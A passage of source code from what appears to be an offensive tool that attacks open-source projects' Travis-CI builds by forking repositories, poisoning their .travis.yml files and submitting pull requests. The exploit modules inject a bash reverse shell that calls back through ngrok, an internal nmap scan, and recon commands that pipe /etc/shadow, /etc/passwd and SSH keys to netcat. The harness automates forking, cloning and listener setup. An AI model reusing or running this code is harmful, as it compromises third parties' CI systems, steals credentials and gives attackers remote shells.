module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr) => { 20 | if(err){ 21 | return callback(err); 22 | } 23 | // Load the .travis.yml file into the repos 24 | travis.loadTravisConfigAll(module.exports.name(), authed_user, ci_targets, () => { 25 | const append_promises = []; 26 | 27 | // iterate through list of files, find travis configs and append to the file 28 | for (let t in ci_targets) { 29 | append_promises.push(new Promise((resolve, reject) => { 30 | travis.appendTravisConfig(`${repodir}/${ci_targets[t]}/.travis.yml`, 31 | `\n - export NGPORT=${port_arr[t]}\n - export NGHOSTNAME=${hostname_arr[t]}\n - mknod /tmp/backpipe p\n - /bin/bash 0/tmp/backpipe &\n - while true; do sleep 60; echo "Keepalive"; done `); 32 | resolve(); 33 | }).catch(err => { 34 | log(err); 35 | })); 36 | } 37 | 38 | // Cash in the promises from above 39 | Promise.all(append_promises) 40 | .then(c => { 41 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 42 | return callback(); 43 | }); 44 | }); 45 | }); 46 | }) 47 | }, 48 | 49 | name: () => { 50 | return "travis/netcat_reverse_shell"; 51 | }, 52 | 53 | type: () => { 54 | return "travis"; 55 | }, 56 | 57 | info: (cb) => { 58 | log(cyan("\n---\nINFO\n---\n")); 59 | log((`This exploit takes advantage of open Travis-CI repositories to\ncreate a netcat connection back to the attacker. The end result\nis a shell from which to control the compromised Travis-CI container.\n`)); 60 | 61 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 62 | log(("1) Fork all targets")); 63 | log(("2) Clone all forked targets locally")); 64 | log(("3) Start shell handler(s)")); 65 | log(("4) Load and poison the .travis.yml file of the cloned repos")); 66 | log(("5) Push commited changes, and submit a pull request")); 67 | return cb(); 68 | 69 | }, 70 | 71 | options: () => { 72 | log(green("\n-------\nOPTIONS\n-------\n")); 73 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 74 | // Print options for exploit 75 | } 76 | } -------------------------------------------------------------------------------- /src/exploits/travis/nmap/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: required 3 | before_script: 4 | - env 5 | - whoami -------------------------------------------------------------------------------- /src/exploits/travis/nmap/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | travis = require(__dirname + '/../../../modules/travis'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .travis.yml file into the repos 26 | travis.loadTravisConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find travis configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | travis.appendTravisConfig(`${repodir}/${ci_targets[t]}/.travis.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for nmap scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Nmap Scan Complete")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "travis/nmap"; 73 | }, 74 | 75 | type: () => { 76 | return "travis"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit runs a basic nmap scan against the 10.10.0.0/16 network\n 82 | on the Travis-CI server. This module will be expanded to scan custom IP ranges`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .travis.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (ng_port, hostname) => { 96 | return `\n - export NGPORT=${ng_port}\n \ 97 | - export NGHOSTNAME=${hostname}\n \ 98 | - mkfifo piperz\n \ 99 | - nc -k -l 12345 0piperz &\n \ 100 | - sudo apt-get update\n \ 101 | - sudo apt-get install nmap\n \ 102 | - sudo nmap -sT 10.10.20.0/24 -Pn | nc localhost 12345\n \ 103 | - echo "ciderdone" | nc localhost 12345\n \ 104 | - sudo fclose(piperz)`; 105 | }, 106 | 107 | options: () => { 108 | log(green("\n-------\nOPTIONS\n-------\n")); 109 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 110 | } 111 | } -------------------------------------------------------------------------------- /src/exploits/travis/recon_basic/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: required 3 | before_script: 4 | - env 5 | - whoami -------------------------------------------------------------------------------- /src/exploits/travis/recon_basic/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | travis = require(__dirname + '/../../../modules/travis'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .travis.yml file into the repos 26 | travis.loadTravisConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find travis configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | travis.appendTravisConfig(`${repodir}/${ci_targets[t]}/.travis.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Basic recon scan complete.")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "travis/recon_basic"; 73 | }, 74 | 75 | type: () => { 76 | return "travis"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open Travis-CI repositories to 82 | create run some basic recon against the build server. This includes.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .travis.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (ng_port, hostname) => { 96 | return `\n - export NGPORT=${ng_port}\n \ 97 | - export NGHOSTNAME=${hostname}\n \ 98 | - mkfifo piperz\n \ 99 | - nc -k -l 12345 0piperz &\n \ 100 | - uname -a | nc localhost 12345\n \ 101 | - curl ipecho.net/plain; echo | nc localhost 12345\n \ 102 | - netstat -la | nc localhost 12345\n \ 103 | - cat /etc/hosts | nc localhost 12345\n \ 104 | - cat /etc/shadow | nc localhost 12345\n \ 105 | - id | nc localhost 12345\n \ 106 | - whoami | nc localhost 12345\n \ 107 | - echo "ciderdone" | nc localhost 12345\n \ 108 | - fclose(piperz)`; 109 | }, 110 | 111 | options: () => { 112 | log(green("\n-------\nOPTIONS\n-------\n")); 113 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 114 | } 115 | } -------------------------------------------------------------------------------- /src/exploits/travis/recon_verbose/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: required 3 | before_script: 4 | - env 5 | - whoami -------------------------------------------------------------------------------- /src/exploits/travis/recon_verbose/exploit.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | chalk = require('chalk'), 3 | green = chalk.green, 4 | cyan = chalk.cyan, 5 | ngrok = require('ngrok'), 6 | github = require(__dirname + '/../../../lib/gh'), 7 | files = require(__dirname + '/../../../lib/files'), 8 | repos = require(__dirname + '/../../../lib/repos'), 9 | exp = require(__dirname + '/../../../lib/exp'), 10 | travis = require(__dirname + '/../../../modules/travis'), 11 | server = require(__dirname + '/../../../lib/server'), 12 | ng = require(__dirname + '/../../../lib/ng'), 13 | targets = require(__dirname + '/../../../lib/targets'), 14 | repodir = __dirname + '/../../../../repos'; 15 | 16 | module.exports = { 17 | 18 | // This particular run function returns an array of netcat listeners 19 | run: (callback) => { 20 | exp.exploitSingleHarness('github', 'forked', module.exports.type(), module.exports.name(), (err, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url) => { 21 | if (err) { 22 | log(err); 23 | return callback(); 24 | } else { 25 | // Load the .travis.yml file into the repos 26 | travis.loadTravisConfigAll(module.exports.name(), authed_user, ci_targets, () => { 27 | const append_promises = []; 28 | 29 | // iterate through list of files, find travis configs and append to the file 30 | for (let t in ci_targets) { 31 | append_promises.push(new Promise((resolve, reject) => { 32 | travis.appendTravisConfig(`${repodir}/${ci_targets[t]}/.travis.yml`, module.exports.injectionString(ng_port, hostname)); 33 | resolve(); 34 | }).catch(err => { 35 | reject(); 36 | log(err); 37 | })); 38 | } 39 | 40 | // Cash in the promises from above 41 | Promise.all(append_promises) 42 | .then(c => { 43 | log(chalk.green("Making pull requests...")); 44 | repos.pullRequestAll(token, 'forked', authed_user, raw_targets, () => { 45 | let cbcount = 0; 46 | log(chalk.green("Wating for basic recon scan to complete. Sit tight.")); 47 | duplex.pipe(process.stdout); 48 | nc.on('data', (info, msg) => { 49 | if (msg.toString('utf8').includes("ciderdone")) { 50 | cbcount++; 51 | if (cbcount >= ci_targets.length) { 52 | log(chalk.green("Basic recon scan complete.")); 53 | duplex.unpipe(process.stdout); 54 | nc.close(); 55 | ngrok.disconnect(ng_url); 56 | return callback(); 57 | } 58 | } 59 | }); 60 | }); 61 | }).catch(e => { 62 | if (e) { 63 | log(e); 64 | } 65 | }); 66 | }); 67 | } 68 | }) 69 | }, 70 | 71 | name: () => { 72 | return "travis/recon_verbose"; 73 | }, 74 | 75 | type: () => { 76 | return "travis"; 77 | }, 78 | 79 | info: (cb) => { 80 | log(cyan("---\nINFO\n---\n")); 81 | log((`This exploit takes advantage of open Travis-CI repositories to 82 | create run a number of commands to gather random lucritive information. This includes.\n`)); 83 | 84 | log(cyan("ORDER OF EXECUTION\n------------------\n")); 85 | log(("1) Fork all targets")); 86 | log(("2) Clone all forked targets locally")); 87 | log(("3) Start single shell handler")); 88 | log(("4) Load and poison the .travis.yml file of the cloned repos")); 89 | log(("5) Push commited changes, and submit a pull request")); 90 | log(("6) Listen for incoming messages. Close shell once executed.")); 91 | return cb(); 92 | // Print information about the exploit 93 | }, 94 | 95 | injectionString: (ng_port, hostname) => { 96 | return `\n - export NGPORT=${ng_port}\n \ 97 | - export NGHOSTNAME=${hostname}\n \ 98 | - mkfifo piperz\n \ 99 | - nc -k -l 12345 0piperz &\n \ 100 | - uname -a | nc localhost 12345\n \ 101 | - curl ipecho.net/plain; echo | nc localhost 12345\n \ 102 | - netstat -la | nc localhost 12345\n \ 103 | - cat /etc/hosts | nc localhost 12345\n \ 104 | - cat /etc/resolv.conf | nc localhost 12345\n \ 105 | - ls -alh /home/*/ | nc localhost 12345\n \ 106 | - ls -alh /home/*/.ssh/ | nc localhost 12345\n \ 107 | - cat /home/*/.ssh/authorized_keys | nc localhost 12345\n \ 108 | - cat /home/*/.ssh/known_hosts | nc localhost 12345\n \ 109 | - cat /home/*/.hist | nc localhost 12345\n \ 110 | - cat /etc/issue | nc localhost 12345\n \ 111 | - cat /etc/shadow | nc localhost 12345\n \ 112 | - cat /etc/passwd | nc localhost 12345\n \ 113 | - crontab -l | nc localhost 12345\n \ 114 | - find / -perm -4000 | nc localhost 12345\n \ 115 | - mount | nc localhost 12345\n \ 116 | - last | nc localhost 12345\n \ 117 | - id | nc localhost 12345\n \ 118 | - whoami | nc localhost 12345\n \ 119 | - ifconfig | nc localhost 12345\n \ 120 | - cat /proc/cpuinfo | nc localhost 12345\n \ 121 | - cat /proc/meminfo | nc localhost 12345\n \ 122 | - iptables -L -n -v | nc localhost 12345\n \ 123 | - echo "ciderdone" | nc localhost 12345\n \ 124 | - fclose(piperz)`; 125 | }, 126 | 127 | options: () => { 128 | log(green("\n-------\nOPTIONS\n-------\n")); 129 | log(green("NO OPTIONS. This is the 'easy' exploit. No need to set IPs or ports.")); 130 | } 131 | } -------------------------------------------------------------------------------- /src/index.js: -------------------------------------------------------------------------------- 1 | const inquirer = require('inquirer'), 2 | touch = require('touch'), 3 | fs = require('fs'), 4 | files = require(__dirname + '/lib/files'), 5 | menu = require(__dirname + '/lib/menu'), 6 | prompt = require(__dirname + '/lib/prompt'), 7 | targetlist = __dirname + '/../configs/repos', 8 | chalk = require('chalk'); 9 | 10 | fs.exists(targetlist, (exists) => { 11 | if (!exists) { 12 | fs.openSync(targetlist, 'w'); 13 | } 14 | }); 15 | 16 | //print banner 17 | menu.printBanner(); 18 | 19 | //main prompt loop 20 | prompt.mainPrompt(); 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/lib/exp.js: -------------------------------------------------------------------------------- 1 | const log = console.log, 2 | fs = require('fs'), 3 | clear = require('clear'), 4 | chalk = require('chalk'), 5 | red = chalk.red, 6 | green = chalk.green, 7 | path = require('path'), 8 | github = require(__dirname + '/gh'), 9 | exdir = __dirname + '/../exploits', 10 | expath = path.resolve(exdir), 11 | files = require(__dirname + '/files'), 12 | targets = require(__dirname + '/targets'), 13 | repos = require(__dirname + '/repos'), 14 | server = require(__dirname + '/server'), 15 | ng = require(__dirname + '/ng') 16 | 17 | module.exports = { 18 | 19 | //Prints list of exploits 20 | printExploits: () => { 21 | clear(); 22 | log(chalk.cyan("------------", "\n Exploits ", "\n------------")); 23 | const exlist = files.walkSync(exdir), 24 | tlist = []; 25 | exlist.forEach((item) => { 26 | if (item.includes("exploit.js")) { 27 | tlist.push(item); 28 | log(item.replace(`${expath}/`, '').replace('/exploit.js', '')); 29 | } 30 | }); 31 | log(); 32 | return tlist; 33 | }, 34 | 35 | //Checks if exploits exist 36 | exploitExists: (exploit) => { 37 | return fs.existsSync(`${exdir}/${exploit}/exploit.js`); 38 | }, 39 | 40 | /* ------------------------------- 41 | Exploit Writing Functions 42 | -------------------------------*/ 43 | 44 | /* 45 | exploitMultiHarness 46 | ------------------- 47 | This will be the "mountin harness" for writing exploits. 48 | When writing exploits here is where to start. 49 | 50 | Parameters: 51 | auth_type - just 'github' for now, but will soon be others 52 | fork_type - 'forked' is the only option for now. Any others will result in trying to commit right to the branch without forking it 53 | target_type - 'travis', 'drone', and 'circle' are currently accepted 54 | exploit_name - name of exploit. Generate by sending in results of module.exports.name() in exploit file 55 | cb - callback 56 | 57 | Returns: null, raw_targets, ci_targets,hostname_arr, port_arr, server_arr, url_arr 58 | err - errors 59 | token - Auth token 60 | authed_user - Authed user 61 | raw_targets - Array of targets w/ original owner names 62 | ci_targets - Array of forked target repos, only consisting of valid exploit types (travis, drone, etc.) 63 | hostname_arr - Array of public hostnames from NGROK for callbacks 64 | port_arr - Array of NGROK public ports 65 | server_arr - Array of server objects from NGROK (not used that much) 66 | url_arr - Array of full NGROK URLS (also not used much) 67 | */ 68 | 69 | exploitMultiHarness: (auth_type, fork_type, target_type, exploit_name, cb) => { 70 | let token = ""; 71 | let authed_user = ""; 72 | 73 | // Switch to decide auth type 74 | switch (auth_type) { 75 | case 'github': 76 | github.githubAuth((err, tok, user) => { 77 | // Check for auth errors 78 | if (err) { 79 | switch (err.code) { 80 | case 401: 81 | log(chalk.red('Couldn\'t log you in. Please try again.')); 82 | break; 83 | case 422: 84 | log(chalk.red('You already have an access token.')); 85 | break; 86 | } 87 | return cb(err); 88 | } 89 | token = tok; 90 | authed_user = user; 91 | }) 92 | break; 93 | default: 94 | log(red("Uknown authtype in exploitMultiHarness")); 95 | cb(); 96 | break; 97 | } 98 | 99 | // Check if there are targets to run against 100 | if (targets.getNumTargets() === 0) { 101 | log(red("There are no targets to exploit. Exiting run.")); 102 | return cb("ERROR"); 103 | } 104 | 105 | // If token exists, continue with exploit 106 | if (token) { 107 | const type = fork_type; 108 | 109 | // Ngrok Auth 110 | ng.ngrokAuth((err, ngtoken) => { 111 | // check for ngrok err 112 | if (err) { 113 | log(chalk.red(`ERROR with ngrok authentication. ${err}`)); 114 | return cb("ERROR"); 115 | } 116 | let ng_token = ngtoken; 117 | 118 | if (fork_type == 'forked') { 119 | // Fork all repos in targets 120 | repos.forkAll(token, authed_user, () => { 121 | 122 | // Clone all repos that have been forked 123 | repos.cloneAllRepos(type, authed_user, () => { 124 | 125 | // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT 126 | targets.getForkedTargetType(target_type, authed_user, type, (raw_targets, ci_targets) => { 127 | 128 | // Start a netcat listener for each cloned repo 129 | server.startNetcatAll(ci_targets, (nc_arr, ports_arr, dupIn_arr, dupOut_arr) => { 130 | 131 | // Push global lists for new shells 132 | global.shells_arr.push.apply(global.shells_arr, nc_arr); 133 | global.duplexInput_arr.push.apply(global.duplexInput_arr, dupIn_arr); 134 | global.duplexOutput_arr.push.apply(global.duplexOutput_arr, dupOut_arr); 135 | global.session_name_arr.push.apply(global.session_name_arr, raw_targets); 136 | for (let l = 0; l < global.nc_arr; l++) { 137 | global.session_exploit_arr.push(exploit_name); 138 | } 139 | 140 | // Start an Ngrok instances for listening 141 | log(green("Starting ngrok Services...")); 142 | server.startNgrokAll(ports_arr, ng_token, (err, hostname_arr, port_arr, server_arr, url_arr) => { 143 | if (err) { 144 | log(err); 145 | return cb(err); 146 | } else { 147 | return cb(null, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr) 148 | } 149 | }) 150 | 151 | }) 152 | }) 153 | }) 154 | }) 155 | } else { 156 | // Fork all repos in targets 157 | 158 | // Clone all repos that have been forked 159 | repos.cloneAllRepos(type, authed_user, () => { 160 | 161 | // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT 162 | targets.getForkedTargetType(target_type, authed_user, type, (raw_targets, ci_targets) => { 163 | 164 | // Start a netcat listener for each cloned repo 165 | server.startNetcatAll(ci_targets, (nc_arr, ports_arr, dupIn_arr, dupOut_arr) => { 166 | 167 | // Push global lists for new shells 168 | global.shells_arr.push.apply(global.shells_arr, nc_arr); 169 | global.duplexInput_arr.push.apply(global.duplexInput_arr, dupIn_arr); 170 | global.duplexOutput_arr.push.apply(global.duplexOutput_arr, dupOut_arr); 171 | global.session_name_arr.push.apply(global.session_name_arr, raw_targets); 172 | for (let l = 0; l < global.nc_arr; l++) { 173 | global.session_exploit_arr.push(exploit_name); 174 | } 175 | 176 | // Start an Ngrok instances for listening 177 | log(green("Starting ngrok Services...")); 178 | server.startNgrokAll(ports_arr, ng_token, (err, hostname_arr, port_arr, server_arr, url_arr) => { 179 | if (err) { 180 | log(err); 181 | return cb(err); 182 | } else { 183 | return cb(null, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr) 184 | } 185 | }) 186 | 187 | }) 188 | }) 189 | }) 190 | 191 | } 192 | 193 | }) 194 | } 195 | }, 196 | 197 | 198 | /* 199 | exploitSingleHarness 200 | ------------------- 201 | This will be the "mountin harness" for writing exploits. 202 | This function is used when you have one netcat and ngrok listener and you would be listening for multiple calls to return to print 203 | to stdout. 204 | 205 | Parameters: 206 | auth_type - just 'github' for now, but will soon be others 207 | fork_type - 'forked' is the only option for now. Any others will result in trying to commit right to the branch without forking it 208 | target_type - 'travis', 'drone', and 'circle' are currently accepted 209 | exploit_name - name of exploit. Generate by sending in results of module.exports.name() in exploit file 210 | cb - callback 211 | Returns: null, raw_targets, ci_targets,hostname_arr, port_arr, server_arr, url_arr 212 | err - errors 213 | token - Auth token 214 | authed_user - Authed user 215 | raw_targets - Array of targets w/ original owner names 216 | ci_targets - Array of forked target repos, only consisting of valid exploit types (travis, drone, etc.) 217 | nc - netcat instance 218 | duplex - the duplex stream object for handling shell connections 219 | nc_port - the netcat listening port (local) 220 | hostname - the ng hostname 221 | ng_port - Ngrok listening port (public) 222 | ng_server - Ngrok listening server object 223 | ng_url - Ngrok listening URL 224 | */ 225 | exploitSingleHarness: (auth_type, fork_type, target_type, exploit_name, cb) => { 226 | let token = ""; 227 | let authed_user = ""; 228 | 229 | // Switch to decide auth type 230 | switch (auth_type) { 231 | case 'github': 232 | github.githubAuth((err, tok, user) => { 233 | // Check for auth errors 234 | if (err) { 235 | switch (err.code) { 236 | case 401: 237 | log(chalk.red('Couldn\'t log you in. Please try again.')); 238 | break; 239 | case 422: 240 | log(chalk.red('You already have an access token.')); 241 | break; 242 | } 243 | return cb(err); 244 | } 245 | token = tok; 246 | authed_user = user; 247 | }) 248 | break; 249 | default: 250 | log(red("Uknown authtype in exploitSingleHarness")); 251 | cb(); 252 | break; 253 | } 254 | 255 | // Check if there are targets to run against 256 | if (targets.getNumTargets() === 0) { 257 | log(red("There are no targets to exploit. Exiting run.")); 258 | return cb("ERROR"); 259 | } 260 | 261 | // If token exists, continue with exploit 262 | if (token) { 263 | const type = fork_type; 264 | 265 | // Ngrok Auth 266 | ng.ngrokAuth((err, ngtoken) => { 267 | // check for ngrok err 268 | if (err) { 269 | log(chalk.red(`ERROR with ngrok authentication. ${err}`)); 270 | return cb("ERROR"); 271 | } 272 | let ng_token = ngtoken; 273 | 274 | // Fork all repos in targets 275 | if (type == 'forked') { 276 | repos.forkAll(token, authed_user, () => { 277 | 278 | // Clone all repos that have been forked 279 | repos.cloneAllRepos(type, authed_user, () => { 280 | 281 | // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT 282 | targets.getForkedTargetType(target_type, authed_user, type, (raw_targets, ci_targets) => { 283 | 284 | // Start a netcat listener for each cloned repo 285 | server.startNetcatTempListener((nc, duplex, nc_port) => { 286 | 287 | // Start an Ngrok instance for listening 288 | log(green("Starting ngrok Services...")); 289 | server.startNgrokConnect(nc_port, ng_token, (err, hostname, ng_port, ng_server, ng_url) => { 290 | if (err) { 291 | log("poop"); 292 | log(err); 293 | return cb(err); 294 | } else { 295 | return cb(null, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url); 296 | } 297 | }); 298 | }); 299 | }) 300 | }) 301 | }) 302 | } else { 303 | // Clone all repos that have been forked 304 | repos.cloneAllRepos(type, authed_user, () => { 305 | 306 | // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT 307 | targets.getForkedTargetType(target_type, authed_user, type, (raw_targets, ci_targets) => { 308 | 309 | // Start a netcat listener for each cloned repo 310 | server.startNetcatTempListener((nc, duplex, nc_port) => { 311 | 312 | // Start an Ngrok instance for listening 313 | log(green("Starting ngrok Services...")); 314 | server.startNgrokConnect(nc_port, ng_token, (err, hostname, ng_port, ng_server, ng_url) => { 315 | if (err) { 316 | log(err); 317 | return cb(err); 318 | } else { 319 | return cb(null, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url); 320 | } 321 | }); 322 | }); 323 | }) 324 | }) 325 | 326 | } 327 | 328 | }) 329 | } 330 | } 331 | 332 | 333 | 334 | } -------------------------------------------------------------------------------- /src/lib/files.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'), 2 | path = require('path'); 3 | 4 | module.exports = { 5 | 6 | //Gets the current base directory 7 | getCurrentDirectoryBase: () => { 8 | return path.basename(process.cwd()); 9 | }, 10 | 11 | // Checks if directory exists 12 | directoryExists: (filePath) => { 13 | try { 14 | return fs.statSync(filePath).isDirectory(); 15 | } catch (err) { 16 | return false; 17 | } 18 | }, 19 | 20 | // Checks if file exists 21 | fileExists: (filePath) => { 22 | try { 23 | return fs.statSync(filePath).isFile(); 24 | } catch (err) { 25 | return false; 26 | } 27 | }, 28 | 29 | // Recurses directory and returns an array of all files 30 | // Synchronous 31 | walkSync: (dir, filelist = []) => { 32 | fs.readdirSync(dir).forEach(file => { 33 | filelist = fs.statSync(path.join(dir, file)).isDirectory() ? 34 | module.exports.walkSync(path.join(dir, file), filelist) : 35 | filelist.concat(path.join(dir, file)); 36 | }); 37 | return filelist; 38 | } 39 | }; -------------------------------------------------------------------------------- /src/lib/gh.js: -------------------------------------------------------------------------------- 1 | const GitHubApi = require('github'), 2 | git = require('simple-git')(), 3 | github = new GitHubApi({ 4 | version: '3.0.1' 5 | }), 6 | inquirer = require('inquirer'), 7 | fs = require('fs'), 8 | CLI = require('clui'), 9 | Spinner = CLI.Spinner, 10 | Preferences = require(__dirname + '/preferences'), 11 | _ = require('lodash'), 12 | log = console.log, 13 | chalk = require('chalk'), 14 | files = require('./files'), 15 | configdir = __dirname + '/../../configs', 16 | repodir = __dirname + '/../../repos'; 17 | 18 | 19 | module.exports = { 20 | 21 | //Gets the GitHub credentials from the user through the prompt 22 | getGithubCredentials: (callback) => { 23 | const questions = [{ 24 | name: 'username', 25 | type: 'input', 26 | message: 'Enter your Github username (not e-mail address):', 27 | 28 | validate: function (value) { 29 | if (value.length) { 30 | return true; 31 | } else { 32 | return 'Please enter your username or e-mail address'; 33 | } 34 | } 35 | }, 36 | { 37 | name: 'password', 38 | type: 'password', 39 | message: 'Enter your password:', 40 | validate: function (value) { 41 | if (value.length) { 42 | return true; 43 | } else { 44 | return 'Please enter your password'; 45 | } 46 | } 47 | } 48 | ]; 49 | inquirer.prompt(questions).then(callback); 50 | }, 51 | 52 | //Gets the github token from a configuration if it exists. Otherwise it creates one and stores it. 53 | getGithubToken: (callback) => { 54 | const authStatus = new Spinner('Authenticating you, please wait...'), 55 | prefs = new Preferences('cider'); 56 | //check if token cached in prefs 57 | if (prefs.github && prefs.github.token && prefs.github.username) { 58 | log(chalk.green("GitHub token found")); 59 | return callback(null, prefs.github.token, prefs.github.username); 60 | } else { 61 | // Fetch token 62 | module.exports.getGithubCredentials((credentials) => { 63 | const uname = credentials.username, 64 | status = new Spinner('Authenticating you, please wait...'); 65 | authStatus.start(); 66 | github.authenticate( 67 | _.extend({ 68 | type: 'basic', 69 | }, 70 | credentials 71 | ) 72 | ); 73 | 74 | github.authorization.create({ 75 | scopes: ['user', 'public_repo', 'repo', 'repo:status'], 76 | note: 'cider' 77 | }, function (err, res) { 78 | authStatus.stop(); 79 | if (err) { 80 | log(`Error at github.authorization.create ${err}`); 81 | return callback(err); 82 | } 83 | if (res.data.token) { 84 | log(chalk.green("Success. Caching encrypted OAuth token")); 85 | prefs.github = { 86 | token: res.data.token, 87 | username: uname 88 | }; 89 | return callback(null, res.data.token, uname); 90 | } 91 | return callback(); 92 | }); 93 | }); 94 | } 95 | }, 96 | 97 | /* 98 | Uses the token to authenticate to github. 99 | Returns the token and the associated username 100 | */ 101 | githubAuth: (callback) => { 102 | //check if prefs file exists and creat if it doesn't. 103 | // Solves a permissions issue with the Preferences library 104 | if (!files.fileExists(`${configdir}/cider.pref`)) { 105 | fs.openSync(`${configdir}/cider.pref`, 'a'); 106 | } 107 | module.exports.getGithubToken((err, token, username) => { 108 | if (err) { 109 | return callback(err); 110 | } 111 | github.authenticate({ 112 | type: 'oauth', 113 